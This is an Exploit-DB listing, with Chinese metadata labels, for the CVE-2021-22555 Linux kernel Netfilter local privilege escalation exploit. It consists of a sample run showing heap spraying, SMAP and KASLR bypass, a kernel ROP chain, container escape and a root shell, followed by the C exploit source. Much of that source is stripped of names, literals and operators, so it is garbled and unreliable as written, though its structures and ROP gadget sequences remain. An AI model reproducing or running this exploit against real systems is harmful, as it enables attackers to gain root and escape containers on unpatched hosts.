标题: Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation EDB-ID: 50135 CVE: 2021-22555 类型: LOCAL 平台: LINUX 发布日期: 2021-07-15 漏洞利用脚本: /*
 * CVE-2021-22555: Turning \x00\x00 into 10000$
 * by Andy Nguyen (theflow@)
 *
 * theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
 * theflow@theflow:~$ ./exploit
 * [+] Linux Privilege Escalation by theflow@ - 2021
 *
 * [+] STAGE 0: Initialization
 * [*] Setting up namespace sandbox...
 * [*] Initializing sockets and message queues...
 *
 * [+] STAGE 1: Memory corruption
 * [*] Spraying primary messages...
 * [*] Spraying secondary messages...
 * [*] Creating holes in primary messages...
 * [*] Triggering out-of-bounds write...
 * [*] Searching for corrupted primary message...
 * [+] fake_idx: ffc
 * [+] real_idx: fc4
 *
 * [+] STAGE 2: SMAP bypass
 * [*] Freeing real secondary message...
 * [*] Spraying fake secondary messages...
 * [*] Leaking adjacent secondary message...
 * [+] kheap_addr: ffff91a49cb7f000
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Leaking primary message...
 * [+] kheap_addr: ffff91a49c7a0000
 *
 * [+] STAGE 3: KASLR bypass
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Freeing sk_buff data buffer...
 * [*] Spraying pipe_buffer objects...
 * [*] Leaking and freeing pipe_buffer object...
 * [+] anon_pipe_buf_ops: ffffffffa1e78380
 * [+] kbase_addr: ffffffffa0e00000
 *
 * [+] STAGE 4: Kernel code execution
 * [*] Spraying fake pipe_buffer objects...
 * [*] Releasing pipe_buffer objects...
 * [*] Checking for root...
 * [+] Root privileges gained.
 *
 * [+] STAGE 5: Post-exploitation
 * [*] Escaping container...
 * [*] Cleaning up...
 * [*] Popping root shell...
 * root@theflow:/# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@theflow:/#
 *
 * Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+.
 */





























































































































 msg_msg 
  uint64_t m_list_next
  uint64_t m_list_prev
  uint64_t m_type
  uint64_t m_ts
  uint64_t next
  uint64_t security


 msg_msgseg 
  uint64_t next


 pipe_buffer 
  uint64_t page
  uint32_t offset
  uint32_t len
  uint64_t ops
  uint32_t flags
  uint32_t pad
  uint64_t private


 pipe_buf_operations 
  uint64_t confirm
  uint64_t release
  uint64_t steal
  uint64_t get


 
   mtype
   mtextPRIMARY_SIZE  MSG_MSG_SIZE
 msg_primary

 
   mtype
   mtextSECONDARY_SIZE  MSG_MSG_SIZE
 msg_secondary

 
   mtype
   mtextPAGE_SIZE  MSG_MSG_SIZE  PAGE_SIZE  MSG_MSGSEG_SIZE
 msg_fake

  msg_msg msg uint64_t m_list_next
                   uint64_t m_list_prev uint64_t m_ts uint64_t next 
  msgm_list_next  m_list_next
  msgm_list_prev  m_list_prev
  msgm_type  MTYPE_FAKE
  msgm_ts  m_ts
  msgnext  next
  msgsecurity  


  msqid   msgp size_t msgsz  msgtyp 
   msgp  msgtyp
   msqid msgp msgsz      
    
     
  
   


  msqid  msgp size_t msgsz  msgtyp 
   msqid msgp msgsz   msgtyp MSG_COPY  IPC_NOWAIT 
       
    
     
  
   


  msqid  msgp size_t msgsz  msgtyp 
   msqid msgp msgsz   msgtyp    
    
     
  
   


  ssNUM_SOCKETS   buf size_t size 
    i   i  NUM_SOCKETS i 
      j   j  NUM_SKBUFFS j 
       ssi buf size   
        
         
      
    
  
   


  ssNUM_SOCKETS  buf size_t size 
    i   i  NUM_SOCKETS i 
      j   j  NUM_SKBUFFS j 
       ssi buf size   
        
         
      
    
  
   


  s 
   __packed__ 
     ipt_replace replace
     ipt_entry entry
     xt_entry_match match
     pad  PRIMARY_SIZE    
     xt_entry_target target
   data  

  datareplacenum_counters  
  datareplacenum_entries  
  datareplacesize  dataentry  datamatch 
                       datapad  datatarget

  dataentrynext_offset  dataentry  datamatch 
                            datapad  datatarget
  dataentrytarget_offset 
      dataentry  datamatch  datapad

  datamatchuusermatch_size  datamatch  datapad
  datamatchuusername 
  datamatchuuserrevision  

  datatargetuusertarget_size  datatarget
  datatargetuusername 
  datatargetuuserrevision  

  
   s SOL_IP IPT_SO_SET_REPLACE data data   
     errno  ENOPROTOOPT 
      
       
    
  

   



  buf uint64_t kbase_addr uint64_t scratchpad_addr 
  uint64_t rop

  uint64_t buf  kbase_addr  POP_RSP_POP_RBX_RET

  rop  uint64_t buf

  
  rop  kbase_addr  ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET
  rop  scratchpad_addr 
  rop        
  rop  kbase_addr  MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET
  rop   
  rop   
  rop   

  
  rop  kbase_addr  POP_RDI_RET
  rop   
  rop  kbase_addr  PREPARE_KERNEL_CRED
  rop  kbase_addr  POP_RDX_RET
  rop   
  rop  kbase_addr  CMP_RDX_1_JNE_POP_RBP_RET
  rop   
  rop  kbase_addr  MOV_RDI_RAX_JNE_POP_RBP_RET
  rop   
  rop  kbase_addr  COMMIT_CREDS

  
  rop  kbase_addr  POP_RDI_RET
  rop   
  rop  kbase_addr  FIND_TASK_BY_VPID
  rop  kbase_addr  POP_RDX_RET
  rop   
  rop  kbase_addr  CMP_RDX_1_JNE_POP_RBP_RET
  rop   
  rop  kbase_addr  MOV_RDI_RAX_JNE_POP_RBP_RET
  rop   
  rop  kbase_addr  POP_RSI_RET
  rop  kbase_addr  INIT_NSPROXY 
  rop  kbase_addr  SWITCH_TASK_NAMESPACES

  
  rop  kbase_addr  POP_RBP_RET
  rop  scratchpad_addr   
  rop  kbase_addr  PUSH_QWORD_PTR_RBP_25_POP_RBP_RET
  rop  kbase_addr  MOV_RSP_RBP_POP_RBP_RET

  uint64_t buf  kbase_addr  POP_RSP_RET
  uint64_t buf  kbase_addr  ADD_RSP_D0_RET

  rop  uint64_t buf

  
  rop  kbase_addr  ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET
  rop  scratchpad_addr 
  rop        
  rop  kbase_addr  MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET
  rop   
  rop   
  rop   

  
  rop  kbase_addr  POP_RDI_RET
  rop   
  rop  kbase_addr  PREPARE_KERNEL_CRED
  rop  kbase_addr  POP_RCX_RET
  rop   
  rop  kbase_addr  CMP_RCX_4_JNE_POP_RBP_RET
  rop   
  rop  kbase_addr  MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET
  rop  kbase_addr  COMMIT_CREDS

  
  rop  kbase_addr  POP_RDI_RET
  rop   
  rop  kbase_addr  FIND_TASK_BY_VPID
  rop  kbase_addr  POP_RCX_RET
  rop   
  rop  kbase_addr  CMP_RCX_4_JNE_POP_RBP_RET
  rop   
  rop  kbase_addr  MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET
  rop  kbase_addr  POP_RSI_RET
  rop  kbase_addr  INIT_NSPROXY 
  rop  kbase_addr  SWITCH_TASK_NAMESPACES

  
  rop  kbase_addr  POP_RBP_RET
  rop  scratchpad_addr   
  rop  kbase_addr  PUSH_QWORD_PTR_RBP_A_POP_RBP_RET
  rop  kbase_addr  MOV_RSP_RBP_POP_RBP_RET



  
   CLONE_NEWUSER   
    
     
  
   CLONE_NEWNET   
    
     
  

  cpu_set_t set
  set
   set
    set set   
    
     
  

   


  argc  argv 
   s
   fd
   ssNUM_SOCKETS
   pipefdNUM_PIPEFDS
   msqidNUM_MSQIDS

   primary_bufPRIMARY_SIZE  SKB_SHARED_INFO_SIZE
   secondary_bufSECONDARY_SIZE  SKB_SHARED_INFO_SIZE

   msg_msg msg
   pipe_buf_operations ops
   pipe_buffer buf

  uint64_t pipe_buffer_ops  
  uint64_t kheap_addr   kbase_addr  

   fake_idx   real_idx  

  

  
  

  
     
     err_no_rmid

  

   s  AF_INET SOCK_STREAM    
    
     err_no_rmid
  

    i   i  NUM_SOCKETS i 
     AF_UNIX SOCK_STREAM  ssi   
      
       err_no_rmid
    
  

    i   i  NUM_MSQIDS i 
     msqidi  IPC_PRIVATE IPC_CREAT     
      
       err_no_rmid
    
  

  
  

  
    i   i  NUM_MSQIDS i 
    msg_primary  msg_primary
     msg_primarymtext  MSG_TAG
     msg_primarymtext  i
     msqidi msg_primary msg_primary MTYPE_PRIMARY 
        
       err_rmid
  

  
    i   i  NUM_MSQIDS i 
    msg_secondary  msg_secondary
     msg_secondarymtext  MSG_TAG
     msg_secondarymtext  i
     msqidi msg_secondary msg_secondary
                  MTYPE_SECONDARY  
       err_rmid
  

  
    i  HOLE_STEP i  NUM_MSQIDS i  HOLE_STEP 
     msqidi msg_primary msg_primary MTYPE_PRIMARY 
        
       err_rmid
  

  
   s  
     err_rmid

  
    i   i  NUM_MSQIDS i 
     i    i  HOLE_STEP  
      
     msqidi msg_secondary msg_secondary   
       err_no_rmid
      msg_secondarymtext  MSG_TAG 
      
       err_no_rmid
    
      msg_secondarymtext  i 
      fake_idx  i
      real_idx   msg_secondarymtext
      
    
  

   fake_idx    real_idx   
    
     err_no_rmid
  

  
  
   fake_idx
   real_idx

  
  

  
   msqidreal_idx msg_secondary msg_secondary
               MTYPE_SECONDARY  
     err_rmid

  
  
  
  secondary_buf  secondary_buf
   secondary_buf  
                PAGE_SIZE  MSG_MSG_SIZE 
   ss secondary_buf secondary_buf  
     err_rmid

  
  
   msqidfake_idx msg_fake msg_fake   
     err_rmid

  
    msg_fakemtextSECONDARY_SIZE  MSG_TAG 
    
     err_rmid
  

  
  msg   msg_msg msg_fakemtextSECONDARY_SIZE  MSG_MSG_SIZE
  kheap_addr  msgm_list_next
   kheap_addr  PRIMARY_SIZE  
    kheap_addr  msgm_list_prev
   PRIx64  kheap_addr

   kheap_addr     
    
     err_rmid
  

  
  ss secondary_buf secondary_buf

  
  
  
  secondary_buf  secondary_buf
   secondary_buf  
                msg_fakemtext kheap_addr  MSG_MSGSEG_SIZE
   ss secondary_buf secondary_buf  
     err_rmid

  
  
   msqidfake_idx msg_fake msg_fake   
     err_rmid

  
    msg_fakemtextPAGE_SIZE  MSG_TAG 
    
     err_rmid
  

  
  msg   msg_msg msg_fakemtextPAGE_SIZE  MSG_MSG_SIZE
  kheap_addr  msgm_list_next
   kheap_addr  SECONDARY_SIZE  
    kheap_addr  msgm_list_prev

  
  kheap_addr  SECONDARY_SIZE
   PRIx64  kheap_addr

   kheap_addr     
    
     err_rmid
  

  
  

  
  ss secondary_buf secondary_buf

  
  
  secondary_buf  secondary_buf
   secondary_buf kheap_addr kheap_addr  
   ss secondary_buf secondary_buf  
     err_rmid

  
   msqidfake_idx msg_fake msg_fake MTYPE_FAKE  
     err_rmid

  
    i   i  NUM_PIPEFDS i 
     pipefdi   
      
       err_rmid
    
    
     pipefdi     
      
       err_rmid
    
  

  
    i   i  NUM_SOCKETS i 
      j   j  NUM_SKBUFFS j 
       ssi secondary_buf secondary_buf   
        
         err_rmid
      
       uint64_t secondary_buf  MTYPE_FAKE
        pipe_buffer_ops  uint64_t secondary_buf
    
  

  kbase_addr  pipe_buffer_ops  ANON_PIPE_BUF_OPS
   PRIx64  pipe_buffer_ops
   PRIx64  kbase_addr

   kbase_addr     
    
     err_rmid
  

  
  

  
  secondary_buf  secondary_buf
  buf   pipe_buffer secondary_buf
  bufops  kheap_addr  
  ops   pipe_buf_operations secondary_buf

  
  
  opsrelease  kbase_addr  PUSH_RAX_JMP_QWORD_PTR_RCX

  
  opsrelease  kbase_addr  PUSH_RSI_JMP_QWORD_PTR_RSI_39

  secondary_buf kbase_addr kheap_addr  
   ss secondary_buf secondary_buf  
     err_rmid

  
  
    i   i  NUM_PIPEFDS i 
     pipefdi   
      
       err_rmid
    
     pipefdi   
      
       err_rmid
    
  

  
   fd   O_RDONLY   
    
     err_rmid
  
  fd
  

  
  

  
   O_RDONLY 
   O_RDONLY 
   O_RDONLY 

  
    i   i  NUM_MSQIDS i 
    
     i  fake_idx
      
     msqidi IPC_RMID   
      
  
    i   i  NUM_SOCKETS i 
     ssi  
      
     ssi  
      
  
   s  
    

  
   args    
  args args 

   

err_rmid
    i   i  NUM_MSQIDS i 
     i  fake_idx
      
     msqidi IPC_RMID   
      
  

err_no_rmid URL: https://www.exploit-db.com/exploits/50135